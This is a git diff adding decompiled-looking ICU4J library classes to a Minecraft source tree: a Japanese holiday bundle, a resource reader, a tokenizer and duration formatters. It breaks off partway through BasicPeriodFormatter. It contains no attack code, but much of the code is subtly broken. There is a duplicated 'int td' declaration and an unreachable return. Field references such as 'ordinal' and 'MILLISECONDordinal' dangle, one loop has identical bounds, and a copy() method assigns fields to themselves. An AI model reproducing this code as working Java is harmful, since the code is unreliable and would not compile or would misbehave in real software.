diff --git a/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_ja_JP.java b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_ja_JP.java
new file mode 100644
index 0000000..b7a3345
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/HolidayBundle_ja_JP.java
@@ -0,0 +1,25 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.util.Holiday;
+import com.ibm.icu.util.SimpleHoliday;
+import java.util.ListResourceBundle;
+
+
+
+
+
+
+public class HolidayBundle_ja_JP
+  extends ListResourceBundle
+{
+  public HolidayBundle_ja_JP() {}
+  
+  private static final Holiday[] fHolidays = { new SimpleHoliday(1, 11, 0, "National Foundation Day") };
+  
+
+  private static final Object[][] fContents = { { "holidays", fHolidays } };
+  
+  public synchronized Object[][] getContents() {
+    return fContents;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/ResourceReader.java b/src/minecraft/com/ibm/icu/impl/data/ResourceReader.java
new file mode 100644
index 0000000..9da5f3e
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/ResourceReader.java
@@ -0,0 +1,246 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.impl.ICUData;
+import com.ibm.icu.impl.PatternProps;
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.io.UnsupportedEncodingException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class ResourceReader
+{
+  private BufferedReader reader;
+  private String resourceName;
+  private String encoding;
+  private Class<?> root;
+  private int lineNo;
+  
+  public ResourceReader(String resourceName, String encoding)
+    throws UnsupportedEncodingException
+  {
+    this(ICUData.class, "data/" + resourceName, encoding);
+  }
+  
+
+
+
+
+
+  public ResourceReader(String resourceName)
+  {
+    this(ICUData.class, "data/" + resourceName);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public ResourceReader(Class<?> rootClass, String resourceName, String encoding)
+    throws UnsupportedEncodingException
+  {
+    root = rootClass;
+    this.resourceName = resourceName;
+    this.encoding = encoding;
+    lineNo = -1;
+    _reset();
+  }
+  
+
+
+
+
+
+  public ResourceReader(InputStream is, String resourceName, String encoding)
+  {
+    root = null;
+    this.resourceName = resourceName;
+    this.encoding = encoding;
+    
+    lineNo = -1;
+    try {
+      InputStreamReader isr = encoding == null ? new InputStreamReader(is) : new InputStreamReader(is, encoding);
+      
+
+
+      reader = new BufferedReader(isr);
+      lineNo = 0;
+    }
+    catch (UnsupportedEncodingException e) {}
+  }
+  
+
+
+
+
+
+
+  public ResourceReader(InputStream is, String resourceName)
+  {
+    this(is, resourceName, null);
+  }
+  
+
+
+
+
+
+  public ResourceReader(Class<?> rootClass, String resourceName)
+  {
+    root = rootClass;
+    this.resourceName = resourceName;
+    encoding = null;
+    lineNo = -1;
+    try {
+      _reset();
+    }
+    catch (UnsupportedEncodingException e) {}
+  }
+  
+
+  public String readLine()
+    throws IOException
+  {
+    if (lineNo == 0)
+    {
+      lineNo += 1;
+      String line = reader.readLine();
+      if ((line.charAt(0) == 65519) || (line.charAt(0) == 65279))
+      {
+        line = line.substring(1);
+      }
+      return line;
+    }
+    lineNo += 1;
+    return reader.readLine();
+  }
+  
+  public String readLineSkippingComments(boolean trim)
+    throws IOException
+  {
+    String line;
+    int pos;
+    do
+    {
+      line = readLine();
+      if (line == null) {
+        return line;
+      }
+      
+      pos = PatternProps.skipWhiteSpace(line, 0);
+    }
+    while ((pos == line.length()) || (line.charAt(pos) == '#'));
+    
+
+
+    if (trim) line = line.substring(pos);
+    return line;
+  }
+  
+
+
+
+
+  public String readLineSkippingComments()
+    throws IOException
+  {
+    return readLineSkippingComments(false);
+  }
+  
+
+
+
+
+
+  public int getLineNumber()
+  {
+    return lineNo;
+  }
+  
+
+
+
+  public String describePosition()
+  {
+    return resourceName + ':' + lineNo;
+  }
+  
+
+
+
+
+
+
+  public void reset()
+  {
+    try
+    {
+      _reset();
+    }
+    catch (UnsupportedEncodingException e) {}
+  }
+  
+
+
+
+
+
+
+
+  private void _reset()
+    throws UnsupportedEncodingException
+  {
+    if (lineNo == 0) {
+      return;
+    }
+    InputStream is = ICUData.getStream(root, resourceName);
+    if (is == null) {
+      throw new IllegalArgumentException("Can't open " + resourceName);
+    }
+    
+    InputStreamReader isr = encoding == null ? new InputStreamReader(is) : new InputStreamReader(is, encoding);
+    
+
+    reader = new BufferedReader(isr);
+    lineNo = 0;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/data/TokenIterator.java b/src/minecraft/com/ibm/icu/impl/data/TokenIterator.java
new file mode 100644
index 0000000..e5d652f
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/data/TokenIterator.java
@@ -0,0 +1,159 @@
+package com.ibm.icu.impl.data;
+
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.text.UTF16;
+import java.io.IOException;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TokenIterator
+{
+  private ResourceReader reader;
+  private String line;
+  private StringBuffer buf;
+  private boolean done;
+  private int pos;
+  private int lastpos;
+  
+  public TokenIterator(ResourceReader r)
+  {
+    reader = r;
+    line = null;
+    done = false;
+    buf = new StringBuffer();
+    pos = (this.lastpos = -1);
+  }
+  
+
+
+  public String next()
+    throws IOException
+  {
+    if (done) {
+      return null;
+    }
+    for (;;) {
+      if (line == null) {
+        line = reader.readLineSkippingComments();
+        if (line == null) {
+          done = true;
+          return null;
+        }
+        pos = 0;
+      }
+      buf.setLength(0);
+      lastpos = pos;
+      pos = nextToken(pos);
+      if (pos >= 0) break;
+      line = null;
+    }
+    
+    return buf.toString();
+  }
+  
+
+
+
+
+
+
+  public int getLineNumber()
+  {
+    return reader.getLineNumber();
+  }
+  
+
+
+
+  public String describePosition()
+  {
+    return reader.describePosition() + ':' + (lastpos + 1);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  private int nextToken(int position)
+  {
+    position = PatternProps.skipWhiteSpace(line, position);
+    if (position == line.length()) {
+      return -1;
+    }
+    int startpos = position;
+    char c = line.charAt(position++);
+    char quote = '\000';
+    switch (c) {
+    case '"': 
+    case '\'': 
+      quote = c;
+      break;
+    case '#': 
+      return -1;
+    default: 
+      buf.append(c);
+    }
+    
+    int[] posref = null;
+    while (position < line.length()) {
+      c = line.charAt(position);
+      if (c == '\\') {
+        if (posref == null) {
+          posref = new int[1];
+        }
+        posref[0] = (position + 1);
+        int c32 = Utility.unescapeAt(line, posref);
+        if (c32 < 0) {
+          throw new RuntimeException("Invalid escape at " + reader.describePosition() + ':' + position);
+        }
+        
+
+        UTF16.append(buf, c32);
+        position = posref[0];
+      } else { if (((quote != 0) && (c == quote)) || ((quote == 0) && (PatternProps.isWhiteSpace(c))))
+        {
+          position++;return position; }
+        if ((quote == 0) && (c == '#')) {
+          return position;
+        }
+        buf.append(c);
+        position++;
+      }
+    }
+    if (quote != 0) {
+      throw new RuntimeException("Unterminated quote at " + reader.describePosition() + ':' + startpos);
+    }
+    
+
+    return position;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormat.java b/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormat.java
new file mode 100644
index 0000000..cc63c62
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormat.java
@@ -0,0 +1,177 @@
+package com.ibm.icu.impl.duration;
+
+import com.ibm.icu.text.DurationFormat;
+import com.ibm.icu.util.ULocale;
+import java.io.PrintStream;
+import java.text.FieldPosition;
+import java.util.Date;
+import javax.xml.datatype.DatatypeConstants;
+import javax.xml.datatype.DatatypeConstants.Field;
+import javax.xml.datatype.Duration;
+
+
+
+
+
+
+
+
+
+
+public class BasicDurationFormat
+  extends DurationFormat
+{
+  private static final long serialVersionUID = -3146984141909457700L;
+  transient DurationFormatter formatter;
+  transient PeriodFormatter pformatter;
+  transient PeriodFormatterService pfs = null;
+  
+  public static BasicDurationFormat getInstance(ULocale locale) {
+    return new BasicDurationFormat(locale);
+  }
+  
+  private static boolean checkXMLDuration = true;
+  
+  public StringBuffer format(Object object, StringBuffer toAppend, FieldPosition pos) {
+    if ((object instanceof Long)) {
+      String res = formatDurationFromNow(((Long)object).longValue());
+      return toAppend.append(res); }
+    if ((object instanceof Date)) {
+      String res = formatDurationFromNowTo((Date)object);
+      return toAppend.append(res);
+    }
+    if (checkXMLDuration)
+      try { if ((object instanceof Duration)) {
+          String res = formatDuration(object);
+          return toAppend.append(res);
+        }
+      } catch (NoClassDefFoundError ncdfe) {
+        System.err.println("Skipping XML capability");
+        checkXMLDuration = false;
+      }
+    throw new IllegalArgumentException("Cannot format given Object as a Duration");
+  }
+  
+  public BasicDurationFormat()
+  {
+    pfs = BasicPeriodFormatterService.getInstance();
+    formatter = pfs.newDurationFormatterFactory().getFormatter();
+    pformatter = pfs.newPeriodFormatterFactory().setDisplayPastFuture(false).getFormatter();
+  }
+  
+
+  public BasicDurationFormat(ULocale locale)
+  {
+    super(locale);
+    pfs = BasicPeriodFormatterService.getInstance();
+    formatter = pfs.newDurationFormatterFactory().setLocale(locale.getName()).getFormatter();
+    pformatter = pfs.newPeriodFormatterFactory().setDisplayPastFuture(false).setLocale(locale.getName()).getFormatter();
+  }
+  
+
+
+  public String formatDurationFrom(long duration, long referenceDate)
+  {
+    return formatter.formatDurationFrom(duration, referenceDate);
+  }
+  
+
+
+  public String formatDurationFromNow(long duration)
+  {
+    return formatter.formatDurationFromNow(duration);
+  }
+  
+
+
+  public String formatDurationFromNowTo(Date targetDate)
+  {
+    return formatter.formatDurationFromNowTo(targetDate);
+  }
+  
+
+
+
+
+
+  public String formatDuration(Object obj)
+  {
+    DatatypeConstants.Field[] inFields = { DatatypeConstants.YEARS, DatatypeConstants.MONTHS, DatatypeConstants.DAYS, DatatypeConstants.HOURS, DatatypeConstants.MINUTES, DatatypeConstants.SECONDS };
+    
+
+
+
+
+
+
+    TimeUnit[] outFields = { TimeUnit.YEAR, TimeUnit.MONTH, TimeUnit.DAY, TimeUnit.HOUR, TimeUnit.MINUTE, TimeUnit.SECOND };
+    
+
+
+
+
+
+
+
+    Duration inDuration = (Duration)obj;
+    Period p = null;
+    Duration duration = inDuration;
+    boolean inPast = false;
+    if (inDuration.getSign() < 0) {
+      duration = inDuration.negate();
+      inPast = true;
+    }
+    
+    boolean sawNonZero = false;
+    for (int i = 0; i < inFields.length; i++) {
+      if (duration.isSet(inFields[i])) {
+        Number n = duration.getField(inFields[i]);
+        if ((n.intValue() != 0) || (sawNonZero))
+        {
+
+          sawNonZero = true;
+          
+          float floatVal = n.floatValue();
+          
+          TimeUnit alternateUnit = null;
+          float alternateVal = 0.0F;
+          
+
+          if (outFields[i] == TimeUnit.SECOND) {
+            double fullSeconds = floatVal;
+            double intSeconds = Math.floor(floatVal);
+            double millis = (fullSeconds - intSeconds) * 1000.0D;
+            if (millis > 0.0D) {
+              alternateUnit = TimeUnit.MILLISECOND;
+              alternateVal = (float)millis;
+              floatVal = (float)intSeconds;
+            }
+          }
+          
+          if (p == null) {
+            p = Period.at(floatVal, outFields[i]);
+          } else {
+            p = p.and(floatVal, outFields[i]);
+          }
+          
+          if (alternateUnit != null) {
+            p = p.and(alternateVal, alternateUnit);
+          }
+        }
+      }
+    }
+    if (p == null)
+    {
+      return formatDurationFromNow(0L);
+    }
+    if (inPast) {
+      p = p.inPast();
+    } else {
+      p = p.inFuture();
+    }
+    
+
+
+    return pformatter.format(p);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormatter.java b/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormatter.java
new file mode 100644
index 0000000..8991d81
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormatter.java
@@ -0,0 +1,118 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.Date;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class BasicDurationFormatter
+  implements DurationFormatter
+{
+  private PeriodFormatter formatter;
+  private PeriodBuilder builder;
+  private DateFormatter fallback;
+  private long fallbackLimit;
+  private String localeName;
+  private TimeZone timeZone;
+  
+  public BasicDurationFormatter(PeriodFormatter formatter, PeriodBuilder builder, DateFormatter fallback, long fallbackLimit)
+  {
+    this.formatter = formatter;
+    this.builder = builder;
+    this.fallback = fallback;
+    this.fallbackLimit = (fallbackLimit < 0L ? 0L : fallbackLimit);
+  }
+  
+
+
+
+
+  protected BasicDurationFormatter(PeriodFormatter formatter, PeriodBuilder builder, DateFormatter fallback, long fallbackLimit, String localeName, TimeZone timeZone)
+  {
+    this.formatter = formatter;
+    this.builder = builder;
+    this.fallback = fallback;
+    this.fallbackLimit = fallbackLimit;
+    this.localeName = localeName;
+    this.timeZone = timeZone;
+  }
+  
+  public String formatDurationFromNowTo(Date targetDate) {
+    long now = System.currentTimeMillis();
+    long duration = now - targetDate.getTime();
+    return formatDurationFrom(duration, now);
+  }
+  
+  public String formatDurationFromNow(long duration) {
+    return formatDurationFrom(duration, System.currentTimeMillis());
+  }
+  
+  public String formatDurationFrom(long duration, long referenceDate) {
+    String s = doFallback(duration, referenceDate);
+    if (s == null) {
+      Period p = doBuild(duration, referenceDate);
+      s = doFormat(p);
+    }
+    return s;
+  }
+  
+  public DurationFormatter withLocale(String locName) {
+    if (!locName.equals(localeName)) {
+      PeriodFormatter newFormatter = formatter.withLocale(locName);
+      PeriodBuilder newBuilder = builder.withLocale(locName);
+      DateFormatter newFallback = fallback == null ? null : fallback.withLocale(locName);
+      
+
+      return new BasicDurationFormatter(newFormatter, newBuilder, newFallback, fallbackLimit, locName, timeZone);
+    }
+    
+
+    return this;
+  }
+  
+  public DurationFormatter withTimeZone(TimeZone tz) {
+    if (!tz.equals(timeZone)) {
+      PeriodBuilder newBuilder = builder.withTimeZone(tz);
+      DateFormatter newFallback = fallback == null ? null : fallback.withTimeZone(tz);
+      
+
+      return new BasicDurationFormatter(formatter, newBuilder, newFallback, fallbackLimit, localeName, tz);
+    }
+    
+
+    return this;
+  }
+  
+  protected String doFallback(long duration, long referenceDate) {
+    if ((fallback != null) && (fallbackLimit > 0L) && (Math.abs(duration) >= fallbackLimit))
+    {
+
+      return fallback.format(referenceDate + duration);
+    }
+    return null;
+  }
+  
+  protected Period doBuild(long duration, long referenceDate) {
+    return builder.createWithReferenceDate(duration, referenceDate);
+  }
+  
+  protected String doFormat(Period period) {
+    if (!period.isSet()) {
+      throw new IllegalArgumentException("period is not set");
+    }
+    return formatter.format(period);
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormatterFactory.java b/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormatterFactory.java
new file mode 100644
index 0000000..7e61038
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicDurationFormatterFactory.java
@@ -0,0 +1,246 @@
+package com.ibm.icu.impl.duration;
+
+import java.util.Locale;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class BasicDurationFormatterFactory
+  implements DurationFormatterFactory
+{
+  private BasicPeriodFormatterService ps;
+  private PeriodFormatter formatter;
+  private PeriodBuilder builder;
+  private DateFormatter fallback;
+  private long fallbackLimit;
+  private String localeName;
+  private TimeZone timeZone;
+  private BasicDurationFormatter f;
+  
+  BasicDurationFormatterFactory(BasicPeriodFormatterService ps)
+  {
+    this.ps = ps;
+    localeName = Locale.getDefault().toString();
+    timeZone = TimeZone.getDefault();
+  }
+  
+
+
+
+
+
+
+  public DurationFormatterFactory setPeriodFormatter(PeriodFormatter formatter)
+  {
+    if (formatter != this.formatter) {
+      this.formatter = formatter;
+      reset();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public DurationFormatterFactory setPeriodBuilder(PeriodBuilder builder)
+  {
+    if (builder != this.builder) {
+      this.builder = builder;
+      reset();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  public DurationFormatterFactory setFallback(DateFormatter fallback)
+  {
+    boolean doReset = this.fallback != null;
+    
+
+    if (doReset) {
+      this.fallback = fallback;
+      reset();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+  public DurationFormatterFactory setFallbackLimit(long fallbackLimit)
+  {
+    if (fallbackLimit < 0L) {
+      fallbackLimit = 0L;
+    }
+    if (fallbackLimit != this.fallbackLimit) {
+      this.fallbackLimit = fallbackLimit;
+      reset();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public DurationFormatterFactory setLocale(String localeName)
+  {
+    if (!localeName.equals(this.localeName)) {
+      this.localeName = localeName;
+      if (builder != null) {
+        builder = builder.withLocale(localeName);
+      }
+      if (formatter != null) {
+        formatter = formatter.withLocale(localeName);
+      }
+      reset();
+    }
+    return this;
+  }
+  
+
+
+
+
+
+
+  public DurationFormatterFactory setTimeZone(TimeZone timeZone)
+  {
+    if (!timeZone.equals(this.timeZone)) {
+      this.timeZone = timeZone;
+      if (builder != null) {
+        builder = builder.withTimeZone(timeZone);
+      }
+      reset();
+    }
+    return this;
+  }
+  
+
+
+
+
+  public DurationFormatter getFormatter()
+  {
+    if (f == null) {
+      if (fallback != null) {
+        fallback = fallback.withLocale(localeName).withTimeZone(timeZone);
+      }
+      formatter = getPeriodFormatter();
+      builder = getPeriodBuilder();
+      
+      f = createFormatter();
+    }
+    return f;
+  }
+  
+
+
+
+
+  public PeriodFormatter getPeriodFormatter()
+  {
+    if (formatter == null) {
+      formatter = ps.newPeriodFormatterFactory().setLocale(localeName).getFormatter();
+    }
+    
+
+    return formatter;
+  }
+  
+
+
+
+
+  public PeriodBuilder getPeriodBuilder()
+  {
+    if (builder == null) {
+      builder = ps.newPeriodBuilderFactory().setLocale(localeName).setTimeZone(timeZone).getSingleUnitBuilder();
+    }
+    
+
+
+    return builder;
+  }
+  
+
+
+
+
+
+  public DateFormatter getFallback()
+  {
+    return fallback;
+  }
+  
+
+
+
+
+  public long getFallbackLimit()
+  {
+    return fallback == null ? 0L : fallbackLimit;
+  }
+  
+
+
+
+
+  public String getLocaleName()
+  {
+    return localeName;
+  }
+  
+
+
+
+
+  public TimeZone getTimeZone()
+  {
+    return timeZone;
+  }
+  
+
+
+  protected BasicDurationFormatter createFormatter()
+  {
+    return new BasicDurationFormatter(formatter, builder, fallback, fallbackLimit, localeName, timeZone);
+  }
+  
+
+
+
+
+
+
+  protected void reset()
+  {
+    f = null;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodBuilderFactory.java b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodBuilderFactory.java
new file mode 100644
index 0000000..dadbb07
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodBuilderFactory.java
@@ -0,0 +1,304 @@
+package com.ibm.icu.impl.duration;
+
+import com.ibm.icu.impl.duration.impl.PeriodFormatterData;
+import com.ibm.icu.impl.duration.impl.PeriodFormatterDataService;
+import java.util.TimeZone;
+
+
+
+
+
+
+
+
+
+
+
+
+class BasicPeriodBuilderFactory
+  implements PeriodBuilderFactory
+{
+  private PeriodFormatterDataService ds;
+  private Settings settings;
+  private static final short allBits = 255;
+  
+  BasicPeriodBuilderFactory(PeriodFormatterDataService ds)
+  {
+    this.ds = ds;
+    settings = new Settings();
+  }
+  
+
+  static long approximateDurationOf(TimeUnit unit) { return TimeUnit.approxDurations[ordinal]; }
+  
+  class Settings { boolean inUse;
+    
+    Settings() {}
+    short uset = 255;
+    TimeUnit maxUnit = TimeUnit.YEAR;
+    TimeUnit minUnit = TimeUnit.MILLISECOND;
+    int maxLimit;
+    int minLimit;
+    boolean allowZero = true;
+    boolean weeksAloneOnly;
+    boolean allowMillis = true;
+    
+    Settings setUnits(int uset) {
+      if (this.uset == uset) {
+        return this;
+      }
+      Settings result = inUse ? copy() : this;
+      
+      uset = ((short)uset);
+      
+      if ((uset & 0xFF) == 255) {
+        uset = 255;
+        maxUnit = TimeUnit.YEAR;
+        minUnit = TimeUnit.MILLISECOND;
+      } else {
+        int lastUnit = -1;
+        for (int i = 0; i < TimeUnit.units.length; i++) {
+          if (0 != (uset & 1 << i)) {
+            if (lastUnit == -1) {
+              maxUnit = TimeUnit.units[i];
+            }
+            lastUnit = i;
+          }
+        }
+        if (lastUnit == -1)
+        {
+          minUnit = (result.maxUnit = null);
+        } else {
+          minUnit = TimeUnit.units[lastUnit];
+        }
+      }
+      
+      return result;
+    }
+    
+    short effectiveSet() {
+      if (allowMillis) {
+        return uset;
+      }
+      return (short)(uset & (1 << MILLISECONDordinal ^ 0xFFFFFFFF));
+    }
+    
+    TimeUnit effectiveMinUnit() {
+      if ((allowMillis) || (minUnit != TimeUnit.MILLISECOND)) {
+        return minUnit;
+      }
+      
+      int i = TimeUnit.units.length - 1; do { i--; if (i < 0) break;
+      } while (0 == (uset & 1 << i));
+      return TimeUnit.units[i];
+      
+
+      return TimeUnit.SECOND;
+    }
+    
+    Settings setMaxLimit(float maxLimit) {
+      int val = maxLimit <= 0.0F ? 0 : (int)(maxLimit * 1000.0F);
+      if (maxLimit == val) {
+        return this;
+      }
+      Settings result = inUse ? copy() : this;
+      maxLimit = val;
+      return result;
+    }
+    
+    Settings setMinLimit(float minLimit) {
+      int val = minLimit <= 0.0F ? 0 : (int)(minLimit * 1000.0F);
+      if (minLimit == val) {
+        return this;
+      }
+      Settings result = inUse ? copy() : this;
+      minLimit = val;
+      return result;
+    }
+    
+    Settings setAllowZero(boolean allow) {
+      if (allowZero == allow) {
+        return this;
+      }
+      Settings result = inUse ? copy() : this;
+      allowZero = allow;
+      return result;
+    }
+    
+    Settings setWeeksAloneOnly(boolean weeksAlone) {
+      if (weeksAloneOnly == weeksAlone) {
+        return this;
+      }
+      Settings result = inUse ? copy() : this;
+      weeksAloneOnly = weeksAlone;
+      return result;
+    }
+    
+    Settings setAllowMilliseconds(boolean allowMillis) {
+      if (this.allowMillis == allowMillis) {
+        return this;
+      }
+      Settings result = inUse ? copy() : this;
+      allowMillis = allowMillis;
+      return result;
+    }
+    
+    Settings setLocale(String localeName) {
+      PeriodFormatterData data = ds.get(localeName);
+      return setAllowZero(data.allowZero()).setWeeksAloneOnly(data.weeksAloneOnly()).setAllowMilliseconds(data.useMilliseconds() != 1);
+    }
+    
+
+
+    Settings setInUse()
+    {
+      inUse = true;
+      return this;
+    }
+    
+    Period createLimited(long duration, boolean inPast) {
+      if (maxLimit > 0) {
+        long maxUnitDuration = BasicPeriodBuilderFactory.approximateDurationOf(maxUnit);
+        if (duration * 1000L > maxLimit * maxUnitDuration) {
+          return Period.moreThan(maxLimit / 1000.0F, maxUnit).inPast(inPast);
+        }
+      }
+      
+      if (minLimit > 0) {
+        TimeUnit emu = effectiveMinUnit();
+        long emud = BasicPeriodBuilderFactory.approximateDurationOf(emu);
+        long eml = emu == minUnit ? minLimit : Math.max(1000L, BasicPeriodBuilderFactory.approximateDurationOf(minUnit) * minLimit / emud);
+        
+        if (duration * 1000L < eml * emud) {
+          return Period.lessThan((float)eml / 1000.0F, emu).inPast(inPast);
+        }
+      }
+      return null;
+    }
+    
+    public Settings copy() {
+      Settings result = new Settings(BasicPeriodBuilderFactory.this);
+      inUse = inUse;
+      uset = uset;
+      maxUnit = maxUnit;
+      minUnit = minUnit;
+      maxLimit = maxLimit;
+      minLimit = minLimit;
+      allowZero = allowZero;
+      weeksAloneOnly = weeksAloneOnly;
+      allowMillis = allowMillis;
+      return result;
+    }
+  }
+  
+  public PeriodBuilderFactory setAvailableUnitRange(TimeUnit minUnit, TimeUnit maxUnit)
+  {
+    int uset = 0;
+    for (int i = ordinal; i <= ordinal; i++) {
+      uset |= 1 << i;
+    }
+    if (uset == 0) {
+      throw new IllegalArgumentException("range " + minUnit + " to " + maxUnit + " is empty");
+    }
+    settings = settings.setUnits(uset);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setUnitIsAvailable(TimeUnit unit, boolean available)
+  {
+    int uset = settings.uset;
+    if (available) {
+      uset |= 1 << ordinal;
+    } else {
+      uset &= (1 << ordinal ^ 0xFFFFFFFF);
+    }
+    settings = settings.setUnits(uset);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setMaxLimit(float maxLimit) {
+    settings = settings.setMaxLimit(maxLimit);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setMinLimit(float minLimit) {
+    settings = settings.setMinLimit(minLimit);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setAllowZero(boolean allow) {
+    settings = settings.setAllowZero(allow);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setWeeksAloneOnly(boolean aloneOnly) {
+    settings = settings.setWeeksAloneOnly(aloneOnly);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setAllowMilliseconds(boolean allow) {
+    settings = settings.setAllowMilliseconds(allow);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setLocale(String localeName) {
+    settings = settings.setLocale(localeName);
+    return this;
+  }
+  
+  public PeriodBuilderFactory setTimeZone(TimeZone timeZone)
+  {
+    return this;
+  }
+  
+  private Settings getSettings() {
+    if (settings.effectiveSet() == 0) {
+      return null;
+    }
+    return settings.setInUse();
+  }
+  
+
+
+
+
+
+
+  public PeriodBuilder getFixedUnitBuilder(TimeUnit unit)
+  {
+    return FixedUnitBuilder.get(unit, getSettings());
+  }
+  
+
+
+
+
+
+  public PeriodBuilder getSingleUnitBuilder()
+  {
+    return SingleUnitBuilder.get(getSettings());
+  }
+  
+
+
+
+
+
+
+
+  public PeriodBuilder getOneOrTwoUnitBuilder()
+  {
+    return OneOrTwoUnitBuilder.get(getSettings());
+  }
+  
+
+
+
+
+
+
+  public PeriodBuilder getMultiUnitBuilder(int periodCount)
+  {
+    return MultiUnitBuilder.get(periodCount, getSettings());
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatter.java b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatter.java
new file mode 100644
index 0000000..a436a8b
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/impl/duration/BasicPeriodFormatter.java
@@ -0,0 +1,199 @@
+package com.ibm.icu.impl.duration;
+
+import com.ibm.icu.impl.duration.impl.PeriodFormatterData;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+class BasicPeriodFormatter
+  implements PeriodFormatter
+{
+  private BasicPeriodFormatterFactory factory;
+  private String localeName;
+  private PeriodFormatterData data;
+  private BasicPeriodFormatterFactory.Customizations customs;
+  
+  BasicPeriodFormatter(BasicPeriodFormatterFactory factory, String localeName, PeriodFormatterData data, BasicPeriodFormatterFactory.Customizations customs)
+  {
+    this.factory = factory;
+    this.localeName = localeName;
+    this.data = data;
+    this.customs = customs;
+  }
+  
+  public String format(Period period) {
+    if (!period.isSet()) {
+      throw new IllegalArgumentException("period is not set");
+    }
+    return format(timeLimit, inFuture, counts);
+  }
+  
+  public PeriodFormatter withLocale(String locName) {
+    if (!localeName.equals(locName)) {
+      PeriodFormatterData newData = factory.getData(locName);
+      return new BasicPeriodFormatter(factory, locName, newData, customs);
+    }
+    
+    return this;
+  }
+  
+  private String format(int tl, boolean inFuture, int[] counts) {
+    int mask = 0;
+    for (int i = 0; i < counts.length; i++) {
+      if (counts[i] > 0) {
+        mask |= 1 << i;
+      }
+    }
+    
+
+
+
+
+    if (!data.allowZero()) {
+      int i = 0; for (int m = 1; i < counts.length; m <<= 1) {
+        if (((mask & m) != 0) && (counts[i] == 1)) {
+          mask &= (m ^ 0xFFFFFFFF);
+        }
+        i++;
+      }
+      
+
+
+      if (mask == 0) {
+        return null;
+      }
+    }
+    
+
+
+
+    boolean forceD3Seconds = false;
+    if ((data.useMilliseconds() != 0) && ((mask & 1 << MILLISECONDordinal) != 0))
+    {
+      int sx = SECONDordinal;
+      int mx = MILLISECONDordinal;
+      int sf = 1 << sx;
+      int mf = 1 << mx;
+      switch (data.useMilliseconds())
+      {
+      case 2: 
+        if ((mask & sf) != 0) {
+          counts[sx] += (counts[mx] - 1) / 1000;
+          mask &= (mf ^ 0xFFFFFFFF);
+          forceD3Seconds = true;
+        }
+        
+        break;
+      case 1: 
+        if ((mask & sf) == 0) {
+          mask |= sf;
+          counts[sx] = 1;
+        }
+        counts[sx] += (counts[mx] - 1) / 1000;
+        mask &= (mf ^ 0xFFFFFFFF);
+        forceD3Seconds = true;
+      }
+      
+    }
+    
+
+    int first = 0;
+    int last = counts.length - 1;
+    while ((first < counts.length) && ((mask & 1 << first) == 0)) first++;
+    while ((last > first) && ((mask & 1 << last) == 0)) { last--;
+    }
+    
+    boolean isZero = true;
+    for (int i = first; i <= last; i++) {
+      if (((mask & 1 << i) != 0) && (counts[i] > 1)) {
+        isZero = false;
+        break;
+      }
+    }
+    
+    StringBuffer sb = new StringBuffer();
+    
+
+
+    if ((!customs.displayLimit) || (isZero)) {
+      tl = 0;
+    }
+    
+    int td;
+    
+    int td;
+    if ((!customs.displayDirection) || (isZero)) {
+      td = 0;
+    } else {
+      td = inFuture ? 2 : 1;
+    }
+    
+
+
+
+    boolean useDigitPrefix = data.appendPrefix(tl, td, sb);
+    
+
+    boolean multiple = first != last;
+    boolean wasSkipped = true;
+    boolean skipped = false;
+    boolean countSep = customs.separatorVariant != 0;
+    
+
+    int i = first; for (int j = i; i <= last; i = j) {
+      if (skipped)
+      {
+        data.appendSkippedUnit(sb);
+        skipped = false;
+        wasSkipped = true;
+      }
+      for (;;) {
+        j++; if ((j >= last) || ((mask & 1 << j) != 0)) break;
+        skipped = true;
+      }
+      
+      TimeUnit unit = TimeUnit.units[i];
